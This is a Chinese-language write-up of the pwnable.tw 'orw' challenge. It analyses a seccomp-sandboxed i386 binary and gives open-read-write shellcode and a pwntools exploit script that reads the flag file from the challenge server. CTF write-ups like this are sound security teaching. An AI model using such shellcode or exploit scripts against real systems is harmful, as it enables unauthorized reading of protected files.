1 程序分析
i386 架构,开了 Canary,但是无关紧要,程序逻辑非常简单,就是读一段 shellcode 并运行
1 2 3 4 5 6 7 8
| int __cdecl main(int argc, const char **argv, const char **envp) { orw_seccomp(); printf("Give my your shellcode:"); read(0, &shellcode, 0xC8u); ((void (*)(void))shellcode)(); return 0; }
|
但是设置了 seccomp 沙箱,限制了系统调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| unsigned int orw_seccomp() { __int16 v1; _BYTE *v2; _BYTE v3[96]; unsigned int v4;
v4 = __readgsdword(0x14u); qmemcpy(v3, &unk_8048640, sizeof(v3)); v1 = 12; v2 = v3; prctl(38, 1, 0, 0, 0); prctl(22, 2, &v1); return __readgsdword(0x14u) ^ v4; }
|
可以利用 seccomp-tools 查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| secreu@RainOfSecreu:~/code/pwnable/orw$ seccomp-tools dump ./orw line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
|
2 漏洞利用
如题目所言,只用 open、read、write 三个系统调用获取 flag,i386 架构下其对应的系统调用号分别为 5、3、4
Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.
编写 shellcode 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| shellcode = asm(""" xor eax, eax push eax push 0x00006761 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f
mov ebx, esp xor ecx, ecx mov eax, 5 int 0x80
mov ebx, eax mov ecx, esp mov edx, 100 mov eax, 3 int 0x80
mov edx, eax mov ebx, 1 mov eax, 4 int 0x80
xor ebx, ebx mov eax, 1 int 0x80 """)
|
3 利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./orw')
io = remote("chall.pwnable.tw", 10001)
io.recv()
shellcode = asm(""" xor eax, eax push eax push 0x00006761 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f
mov ebx, esp xor ecx, ecx mov eax, 5 int 0x80
mov ebx, eax mov ecx, esp mov edx, 100 mov eax, 3 int 0x80
mov edx, eax mov ebx, 1 mov eax, 4 int 0x80
xor ebx, ebx mov eax, 1 int 0x80 """)
io.send(shellcode)
io.recv()
|